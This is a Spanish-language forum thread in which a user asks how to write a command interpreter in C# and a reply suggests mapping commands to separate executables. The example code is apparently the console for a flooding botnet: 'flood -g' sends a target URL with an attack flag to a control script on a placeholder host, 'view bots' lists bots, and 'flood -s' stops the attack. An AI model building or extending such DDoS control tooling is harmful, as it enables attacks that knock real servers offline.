Foro de elhacker.net

Foros Generales => Dudas Generales => Mensaje iniciado por: boy-ka en 30 Septiembre 2014, 19:16 pm



Título: Creando un interprete de comandos en c#
Publicado por: boy-ka en 30 Septiembre 2014, 19:16 pm
Hola  ::) tengo una pequeña duda de como hacen los interpretes de código o simplemente una aplicación con interacción al usuario el cual puede decirle que hacer.

Bueno, yo en C sharp he hecho algo como esto:

Código
  1.  
  2.  class Program
  3.    {
  4.       public static string command;
  5.        static void Main(string[] args)
  6.        {
  7.            Console.ForegroundColor = ConsoleColor.White;
  8.  
  9.            string a =  System.IO.File.ReadAllText(@"D://films.txt");
  10.  
  11.            Console.WriteLine(a);
  12.            Console.Beep();
  13.            Console.Title = ("Samambleke");
  14.  
  15.            Console.Write("@root: ");
  16.            command = Console.ReadLine();
  17.  
  18.            if (command.Contains("flood -g "))
  19.            {
  20.                Console.ForegroundColor = ConsoleColor.Green;
  21.                command = command.Replace("flood -g", "");
  22.  
  23.                Console.ForegroundColor = ConsoleColor.Red;
  24.                Console.WriteLine("Testing the server..");
  25.                //Probando estado del servidor
  26.                try
  27.                {
  28.                var img = (new WebClient().DownloadString(command));
  29.  
  30.                string URL = "http://server.com/zone.php";
  31.                WebClient webClient = new WebClient();
  32.  
  33.                NameValueCollection formData = new NameValueCollection();
  34.  
  35.                if (command.Contains(" "))
  36.                {
  37.                    command = command.Replace(" ", "");
  38.                }
  39.  
  40.                formData["page"] = command;
  41.                formData["attack"] ="ok";
  42.  
  43.                byte[] responseBytes = webClient.UploadValues(URL, "POST", formData);
  44.                string responsefromserver = Encoding.UTF8.GetString(responseBytes);
  45.                Console.WriteLine(responsefromserver);
  46.                webClient.Dispose();
  47.  
  48.                Console.ForegroundColor = ConsoleColor.Green;
  49.  
  50.                Console.Write(" ----    Server    ---- ");
  51.  
  52.                Console.WriteLine(img);
  53.                Console.ForegroundColor = ConsoleColor.Red;
  54.                Console.WriteLine("_______________________________________");
  55.  
  56.  
  57.                Console.Write("Status attack: ");            
  58.                Console.ForegroundColor = ConsoleColor.Green;
  59.                Console.Write("Send \n");
  60.  
  61.                }
  62.                catch
  63.                {
  64.                    Console.ForegroundColor = ConsoleColor.Red;
  65.                    Console.WriteLine("Error can that server is overloaded or there is a problem in the conexion to server");
  66.                    OnError();
  67.                }
  68.  
  69.            }
  70.            else if (command == "")
  71.            {
  72.                OnError();
  73.            }
  74.            else if (command == "view bots")
  75.            {
  76.                string page = (new WebClient().DownloadString("http://server.com/pagina.txt");
  77.  
  78.                if (page.Contains("http://"))
  79.                {
  80.                    Console.ForegroundColor = ConsoleColor.Green;
  81.                }
  82.                else
  83.                {
  84.                    Console.ForegroundColor = ConsoleColor.Red;
  85.                }
  86.                string e = System.IO.File.ReadAllText(@"D://films2.txt");
  87.  
  88.                Console.WriteLine(e);
  89.                Console.ForegroundColor = ConsoleColor.Red;
  90.                Console.WriteLine(page);
  91.  
  92.            }
  93.            else if (command == "flood -s")
  94.            {
  95.  
  96.  
  97.                try
  98.                {
  99.                    string URL = "http://server.com/zone.php";
  100.                    WebClient webClient = new WebClient();
  101.  
  102.                    NameValueCollection formData = new NameValueCollection();
  103.  
  104.                    if (command.Contains(" "))
  105.                    {
  106.                        command = command.Replace(" ", "");
  107.                    }
  108.  
  109.                    formData["page"] = "none";
  110.                    formData["attack"] = "no";
  111.  
  112.  
  113.                    byte[] responseBytes = webClient.UploadValues(URL, "POST", formData);
  114.                    string responsefromserver = Encoding.UTF8.GetString(responseBytes);
  115.                    webClient.Dispose();
  116.                    Console.ForegroundColor = ConsoleColor.Green;
  117.                    Console.Write("Status attack: ");
  118.                    Console.ForegroundColor = ConsoleColor.Red;
  119.                    Console.Write("OFF \n");
  120.                }
  121.                catch
  122.                {
  123.                    Console.ForegroundColor = ConsoleColor.Red;
  124.                    Console.WriteLine("Error in conexion");
  125.  
  126.                }
  127.            }
  128.            else if (command == "clear")
  129.            {
  130.                Console.Clear();
  131.            }
  132.            else if (command == "exit")
  133.            {
  134.                Environment.Exit(1);
  135.            }
  136.            else
  137.            {
  138.                Console.ForegroundColor = ConsoleColor.Red;
  139.                Console.WriteLine("Command: " + command + " unknow");
  140.                OnError();
  141.            }
  142.            OnError();
  143.        }
  144.  
  145.  
  146.  

Bueno, esto lo uso para ir escribiendo comandos en la consola y que vayan pasando cosas... efectivamente funciona, pero, ¿Existe otro método más sofisticado de escribir comandos?

Conozco cómo detectarlo con switch en lugar de utilizar if, pero digo yo, como lo tengo aquí ¿sería la forma en que tú lo harias?

O como he preguntado antes, ¿existe un modo más facil de hacerlo? pd: Con esto me basta para hacerlo, simplemente quiero opinión de ustedes, gracias por leer espero tu respuesta.


Título: Re: Creando un interprete de comandos en c#
Publicado por: Shout en 1 Octubre 2014, 00:34 am
Yo haría un intérprete que vaya llamando a archivos .exe en cada comando. p.ej.

> do_something -f 3

Llamaría a do_something.exe con argumentos -f y 3.
Así se podría extender fácilmente la consola sin mucho esfuerzo